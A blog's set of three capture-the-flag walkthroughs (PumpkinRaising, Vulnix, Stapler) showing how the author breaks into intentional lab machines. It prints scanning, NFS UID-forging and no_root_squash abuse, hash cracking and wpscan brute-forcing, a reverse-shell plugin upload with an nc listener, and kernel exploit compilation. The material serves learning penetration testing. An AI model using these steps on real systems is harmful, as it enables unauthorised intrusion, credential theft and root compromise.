Will I get a root access to PumpkinRaising Machine ?


Pumpkin Raising Machine IP Address:
My Machine IP Address:


Mission-Pumpkin v1.0 is a beginner level CTF series, created by keeping beginners in mind. This CTF series is for people who have basic knowledge of hacking tools and techniques but struggling to apply known tools. I believe that machines in this series will encourage beginners to learn the concepts by solving problems. PumpkinRaising is Level 2 of series of 3 machines under Mission-Pumpkin v1.0. The Level 1 ends by accessing PumpkinGarden_Key file, this level is all about identifying 4 pumpkin seeds (4 Flags - Seed ID’s) and gain access to root and capture final Flag.txt file.

Step 01:

nmap -sC -sV -p- -oN nmap.log


Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-01 13:30 IST
Nmap scan report for

22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)

80/tcp open  http    Apache httpd
| http-robots.txt: 23 disallowed entries (15 shown)
| /includes/ /scripts/ /js/ /secrets/ /css/ /themes/ 
| /CHANGELOG.txt /underconstruction.html /info.php /hidden/note.txt 
| /INSTALL.mysql.txt /seeds/seed.txt.gpg /js/hidden.js /comment/reply/ 
|_http-server-header: Apache
|_http-title: Mission-Pumpkin

Step 02:

Actually, nmap is revealing enough information to go through however, let me stick with my methodology.

Since it is clearly running a web server on port 80. Let’s visit the website and check their source code first.

When I see there is an images folder. I was little excited because we got a beautiful tip in previous box. (It is here)


Step 03:

You can also see that there is a base64 encoded message in the source code.

I thought this may reveal a big secret like it did in my previous pumpkin box. However, it just turned to be a little troll 🙂

As I was going  through the source code, I see a link to pumpkin.html

I took down name of the characters in my note, perhaps I could use that for some bruteforce purpose because we know that the machine is running ssh on port 22 (through nmap scanning).

In the source code, there is another encoded string, which is turn out to be base32. (I did some reading on base32 and tried myself to ensure that this string is base32).

besides, if you scroll down to bottom, you will see there is some hex string with it.

For time being, I save those hex to a file called hex.txt and keep it here for sometime, because we need to decode that base32 string.

I did download that pcap file and tried to trace it in wireshark



Follow the TCP Stream



Based on figure 3 and 4, we can conclude that we got another seed. Do you see that?

If not, see it closely..



To be honest, I didn’t see it at first, so what I did was, I know the SEED ID is 50609.

So, I did run a string command and everything become very clear.

See here

strings spy.pcap

Hence we got a Jack-Be-Little Pumpkin seeds ID: 50609

Step 04:

Don’t forget that we have an encoded hex string which need to be decoded. Here we go

cat hex.txt | xxd -p -r

Acorn Pumpkin Seeds ID: 96454

Step 05:

Let’s check the presence of robots.txt file


# robots.txt
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
# This file will be ignored unless it is at the root of your host:
# Used:    http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/robotstxt.html

User-agent: *
Crawl-delay: 10
# CSS, JS, Images

# Directories
Disallow: /includes/
Disallow: /scripts/
Disallow: /js/
Disallow: /secrets/
Disallow: /css/
Disallow: /themes/

Allow: /images/*.gif
Allow: /images/*.jpg

# Files
Disallow: /CHANGELOG.txt
Disallow: /underconstruction.html
Disallow: /info.php
Disallow: /hidden/note.txt
Disallow: /INSTALL.mysql.txt
Disallow: /seeds/seed.txt.gpg
Disallow: /js/hidden.js

# Paths (clean URLs)
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /scripts/pcap
Disallow: /node/add/
Disallow: /security/gettips/
Disallow: /search/hidden/
Disallow: /user/addme/
Disallow: /user/donotopen/
Disallow: /user/
Disallow: /user/settings/

I must admit that when I see this exhaustive list, I was extremely excited however, out of all, only those bold colored where actually working (or revealing information that is of my interest).

Step 04:

While I was going through the folders (enshrined in the robots.txt), I found this interesting information .

Robert : C@43r0VqG2=
Mark : Qn@F5zMg4T
goblin : 79675-06172-65206-17765

I thought it might be some SSH credentials (as you can see from the nmap result that ssh is running). However, it didn’t work. So I make a note of it and proceed with my enumeration.

Step 05:

I found another intriguing information at , see here. This file is encrypted with gpg

subsequently, I did download the seed.txt.gpg googled the syntax to decrypt a pgp file.

gpg --decrypt seed.txt.gpg 
I tried different passwords which you got from above enumeration


Probably you might think, how this guy got the password SEEDWATERSUNLIGHT ?  True, what I did was, I took down almost all words which I think could be password to a list and tried every one of them manually.  (Following screenshot is my note)

By the way, I found this word from here. If you view the source code, you will know that the sign is nothing but a space.

Do you see the space in source code?  (Don’t look at the selected strings)


see my failed attempt lol

Finally I got this..

based on some google, I found that above pictorial representation is a mores code.

So, we had to decode. You can simple google, decode mores code online tool. There are many online tools and out of those, I love this the most. Here is the link. https://gchq.github.io/CyberChef/

It has many other features as well and all you have to do is search mores code and chose the option, From Mores Code option.

We got a SEED:


I know little about stenography. After knowing that, I build a habit of myself to run exiftool, strings and stegosuite command to extract information out of any media files.  Trust me it is very tedious task however, it does pay you sometime out of nowhere lol.

Having said that, one image really carried a text file with it.

I couldn’t recall the exact box, however, once I was pwning a box when I select all the website, certain message just shows there. Therefore, I did a Control+A and do you see what I see in this message ??

From this image and our previous knowledge on this box, we can expect that there is a gif file called jackolantern.gif under images, which deduced to

Truly there is an image by that name and the way, how author has hide this image in a meticulous way, it definitely speaks out a lot.

Yes, after running stegosuite command with all the password. Finally we found something useful.


stegosuite -x jackolantern.gif -k Qn@F5zMg4T

We were able to extract a text message called decorative.txt 

cat decorative.txt 

We got another SEED ID i.e.

Lil’ Pump-Ke-Mon Pumpkin seeds ID : 86568

I wish you to know that, it is not the result but I think we need to celebrate the process as well.. Like trying and enumerating everything that you could think of..

To attest what I am saying, I will enclosed one screenshot …:)

If we read carefully of those note written on the website, we got hint that we need to arrange the pumpkin seed id in order. And At that time, this screenshot helped me to order them.

Sequence of the respected pumpkin and their seedIDs:

First one is called "Big Max Pumpkin": 69507

Second: "Jack-be-little": 50609

third: "Acorn Pumpkin": 96454

forth: "Little Pump-ke-Mon": 86568

I have tried many combinations to login to ssh with different users and passwords that we got so far… Here is the note.

(many) failed attempts: (one example)

I found that following credential gives us a shell.

Username: jack
password: 69507506099645486568

Out of many rudimentary things like checking cron entries, SUID files, kernel etc. I check sudo user account ..

sudo -l

My favourite goldmine site: https://gtfobins.github.io/

Run the command

we got the root.. and the flag is here..

This box taught me many things and I am gonna revisit all the box I pwned again later.. just to evaluate did I really learn anything out of it 🙂

That’s all… Wish you all a very productive time 🙂


Vulnix walkthrough which bolstered my RHCSA knowledge

Hello everyone,

I hope you all are doing well. Today, I am going to do a a machine to enhance my penetration testing skills and guess what, the machine did test my knowledge on RHCSA (RHEL8). The machine was easy but you can’t say it is easy until you have certain knowledge on NFS share (Network File System Share). I was like “finally the training I attended in Bangalore come to use now lol”.

The machine name is called vulnix and you can easily get it from vulhub website. When I nmap (scan) the box, a huge list of running services were revealed and of course, you can enumerate each and every services (one by one), and that is actually a recommended way to learn or it is a way to get a better insight on the machine. This is actually I believe is how a professional pentester should approach to a machine. However, what I did was simply break the services into different categories and enumerate all the familiar services first.

Ok, let’s do the box.

As always my host Machine IP address is

sudo arp-scan --interface=vboxnet0

Target Machine IP:

nmap -sC -sV -p- -oN nmap.log 

-sC running default nmap default script 
-sV enumerating services and version of services 
-p- It represent to check all the 65535 ports 
-oN output

I did an extra step here, however it is not necessary for you. I just did this to show the readers that  nfs version 2 to 4 is running. Therefore, we can exploit either 2 or 3. 4 is comparatively secure.

To get a peek, you can do the following command to know which folder is mounting.

To know a little about NFS: 

click here and here. 

showmount -e
sudo mount -o vers=3 mnt



based on the output, we can be certain that there is a user named vulnix (/home/vulnix).  Now, what we need to do is create this user with UID 2008.

sudo useradd --uid 2008 vulnix

sudo usermod -aG sudo vulnix

su vulnix 

cd /mnt 

mkdir .ssh 

          ./id_rsa     (which means I would like have my keys saved in the current directory or /home/vulnix/mnt/.ssh, which is not the default path)

I divide the pane so that you can have the view of the both users (researcher and vulnix)

Since from nmap result, we know that the machine is running with SSH. Therefore and we can try to login to the remote machine with the  SSH key which we generated previously on the target machine through nfs share.

To know little more of SSH and configuration, click here.

cat id_rsa.pub > authorized_keys

ssh -i id_rsa vulnix@

sudo -l

sudoedit /etc/exports


 /root *(rw,no_root_squash)

No Root Squash (link)

There are many options for NFS and I want to keep this article short but effective so I am leaving out many of the various configuration items that you could do. However there is one option that is worth mentioning, no_root_squash. By default NFS will downgrade any files created with the root permissions to the nobody user. This is a security feature that prevents privileges from being shared unless specifically requested.

If I create a file as the root user on the client on the NFS share, by default that file is owned by the nobody user.

 root@client:~# touch /shared/nfs1/file2 
 root@server:/nfs# ls -la file2
  -rw-r--r-- 1 nobody nogroup 0 Nov 18 18:06 file2

Sometimes it is important to share files that are owned as root with the proper permissions, in these cases this can be done by simply adding the no_root_squash attribute to the /etc/exports configuration.

Adding no_root_squash

Edit the /etc/exports file:

 root@server:/nfs# vi /etc/exports

Modify the /nfs line to:


In our case:

/root *(rw,no_root_squash)     * represents all

Now, let’s reboot our vm to get those changes to the Target Machine.

sudo mount -o vers=3 mnt

Now, we will use the previous concept that, we will generate a SSH key and try to login with it to get the root access.

sudo -i  

cd /home/researcher/vulhub/vulnix/mnt 

cat trophy.txt

This flag looks weird though lol..

That’s it.. Later if I get time, I will populate this post with other enumerations as well (full of rabbit holes but good to look into)..

it’s 23:58 and perfect time to all it a day 🙂


A walkthrough for Stapler

Hello and Tashi Delek everyone,

Today I am going to do my level best to take down the staple – a vulnerable machine which was quite famous as it has many things that immitate live system which we use in the production line.  Besides, based on feedbacks shared by the people who cleared OSCP exam that this machine provides a close feeling of what we get in OSCP exam (1.0).  Therefore, I thought to give it a go..

As usual, my Kali Machine IP address is and I need to figure out what is the IP address of the Target machine. For that we have couple of methods of ways to achieve this but, I found the following way quite fast, so I will stick with it.

sudo arp-scan --interface=vboxnet0

Yes, the Target Machine IP address is:

Let’s nmap the IP address and try to learn what ports are open, running what kind of services and versions of the softwares, that way we could find some vulnerabilities.

nmap -sC -sV -p- -oN nmap.log

-sC  We are going to use the default script of the nmap

-sV  We are going to check the services and versions of it

-p-  We are going to run the scan for all 65535 ports

-oN We are going to keep/save the output as nmap.log

Since I am going to use these arguments again and again, I will not repeat the explanation of each arguments again and again. To minimize the verbosity.

Output of Nmap Result:

# Nmap 7.60 scan initiated Mon Apr 20 22:16:23 2020 as: nmap -sC -sV -p- -Pn -oN nmap.log
Nmap scan report for
20/tcp    closed ftp-data
21/tcp    open   ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (EdDSA)
53/tcp    open   domain      dnsmasq 2.75
| dns-nsid: 
|_  bind.version: dnsmasq-2.75
80/tcp    open   http        PHP cli server 5.5 or later
|_http-title: 404 Not Found
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open   tcpwrapped
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 9
|   Capabilities flags: 63487
|   Some Capabilities: LongPassword, Support41Auth, ConnectWithDatabase, SupportsCompression, FoundRows, SupportsTransactions, ODBCClient, DontAllowDatabaseTableColumn, IgnoreSigpipes, Speaks41ProtocolOld, LongColumnFlag, InteractiveClient, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: 12^\x151zj\x12N%Rxm-R\x1Ba/8E
|_  Auth Plugin Name: 88
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 5h29m56s, deviation: 0s, median: 5h29m56s
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2020-04-20T23:18:17+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-04-21 03:48:17
|_  start_date: 1601-01-01 05:53:28


We are enumerate more on our finding, however, I really like web. Therefore, I will begin my enumeration there.

Let’s browser

I didn’t find anything from robots.txt, however in the source code, there are few things that might interest you too 🙂

I must admit that when I see the base64 encrypted link, I thought yes this is it, and try various ways to get around it. Nevertheless,

Download the image using curl (wget didn’t work for me, I don’t get why..)

curl -o default.jpg

Yes, I am gonna run an exiftool on it

I found Zoe while reading the source code, and now Tim. I think it is good idea to collect it on some separate file. Who knows, we could use it to brute force.

I ran gobuster to check any directory with my favorite dictionary wordlist, it’s taking lot of time, so I ran nikto along with it. I afraid I might not get anything at the end.

gobuster dir -u -w /usr/share/wordlists/directory-list-2.3-medium.txt -o gobuster12380.log
nikto -h > nikto12380.log

To be honest, I was not able to get any concrete result. Therefore, I took some time off and watched few entertainment videos (usually I like cooking videos because I like to cook and experiment new foods. By the way I am Lacto-Ovo Veg guy).

After resuming, I still can’t come up anything new, however, recently I began to watch ippsec videos (which were awesome) and I remember him extracting domain name through ssl certificate. Therefore, I tried to but https:// in the link, and guess what I got? robots.txt.

Since blogblog is a wordpress based website, so I ran wpscan with it.

However, I was not able to enumerate the plugins and versions of it. I had to read couple of blog posts and check their official github. I even install the WordPress which was written in Python and it appears to me that it is still in development mode that not many functionalities were present, so it didn’t help much. While, I found in their official document that if we run the commands with option –stealth –plugin

wpscan --stealthy --url --plugins-detection aggressive -o wp_report.log

I tried to google the plugins and found the above highlight plugin has a local file inclusion vulnerability.

Looks like the exploit is little buggy because I tried it with both python2 and python3. It execution was not complete but when I browser back the homepage, I can see new post entry and I was glad that it did inject something there. Because in the past, when I had to exploit kernel, many exploit didn’t complete their execution but I got root. Likewise, I little hopeful here as well.(Nevertheless, I remind myself that I will need to go through the exploit again if I am left with no option).

I was not happy, thought to give it a try to fix the exploit and finnaly I was able to fix the exploit by embedding two lines of code. (Yeh!!)

import ssl
ssl._create_default_https_context = ssl._create_unverified_context

I have collection quite a good number of users, both through manual enumeration and wpscan results. So, my backup plan is to run a brute force. However, let me check uploads folder.

It’s a customary happy that when I find an image, I run exiftool command and if it is normal, I leave it. Else, I run string command to further the analysis. 

First Image:

Second Image: And we can see that it is a php file.

After running a strings command, we got a credential to the mysql database.

mysql -uroot -pplbkac -h

show databases; 
use wordpress;

show tables;

select * from wp_users;

I did copy all the hashes to a file called hash.txt and planned to crack it using hashcat.

Luckily I have my notes which I took from ippsec videos.

hashcat --example-hashes | less

Since our Hash begins with $P$, I search this pattern and found MODE: 400

hashcat -m 400 hash.txt  /usr/share/wordlists/rockyou.txt --force

I got few low privileged user’s cracked password.

Right now, I am at the foothills of the Himalaya and weather is quite cold during night (specially) however, my laptop is emitting heat like a little fireplace and fan is roaring so loud. I had to play around with the incomplete result I got. I tried all, and all of those has very limited access.

I know that based on the ID assignment of the WordPress user, 99.99% of the time, ID 1 is the admin user. And if we assume this logic then user john is the admin. I am afraid to put my poor laptop for test. So I had to find another way, it is use wpscan to bruteforce the user access. 

 wpscan --url --passwords /usr/share/wordlists/rockyou.txt --usernames john --max-threads 50 --disable-tls-checks
john: incorrect

Yes, user john is the admin with password incorrect

You will get almost all the shells from pentest monkey.

Method 1: Paste the shell on 404.php  Failed

Usually I try to modify 404.php file and paste the shell there. However, this time it is quite peculiar that I can’t find update button lol


Method 2: Upload a shell.php.jpg with GIF98  Failed


Method 3: Creating Plugin or Theme. Yeah!!

Sometimes, it might not work. In order to work, you need to have plugin (or theme) header like this.

I just copied the header from the plugin which is already exist in the site and pasted it in my shell.

Usually, we need to zip it and upload it. However, I am not sure why.. on this box, even without zipping, it worked. By the way, it may ask you FTP credentials. You just enter

User: anonymous 
Password: anonymous

Because I did check whether it is working the second time. First, we know it is working through nmap result.

you don’t have to wait long. (though system may appear as if it is taking time to load). Goto uploads folder to check your shell.

After this, you need to wait the reverse connection on your host machine through nc.

nc -lvp 1234

As soon as you click the shell.php, you get a reverse connection. (Poc Proof of Concept)

Finally I got a shell. Now I need to do Privilege Escalation to get root access and find flag, if there is any.

I tried to find SUID, checked entry in /etc/crontab, whether /etc/pass is writable etc.. No luck 🙁

So, I upload the LinEnum.sh (Linux Privileges Escalation script) and, planted it in /tmp folder.

Guess what I found…

Possible Path 1:

Possible Path 2:

Let’s first follow the Path 1:

ssh JKanode@   (it doesn't have the sudo privilege and let's waste no time here)

 ssh peter@

Yippy! We got the root and flag !!

Second Path: A Failed  

I found that the current running kernel is vulnerable to privilege escalation and the exploit is available on exploit-db. Link is here.

By reading the exploit, I came to know that it has two program in it. decr.c and pwn.c

These highlight passage help us how to run the exploit.

gcc decr.c -m32 -O2 -o decr


I think it is going to take awhile.. going to have a shower 🙂


Ops!! It didn’t work.. For time being, I will be happy with the root that I got previously.. Because need to work now 🙂

Second Path: B Yeh!! 

cat /etc/os-release

source of the exploit is here.

We need to keep the above screenshot very carefully because it has mentioned on how to use the exploit and how long you have to wait for the execution to over. (You will notice that I type many id(s)) lol

Transfer the exploit to the victim or target machine.

And the flag is here. Yeh!!


Note: I didn’t write all those rabbit holes… because some trolls were so good that I felt as if I am going to get something after this or that lol Specially when I get the backup files and other secret notes..  I learned quite a lot from this box.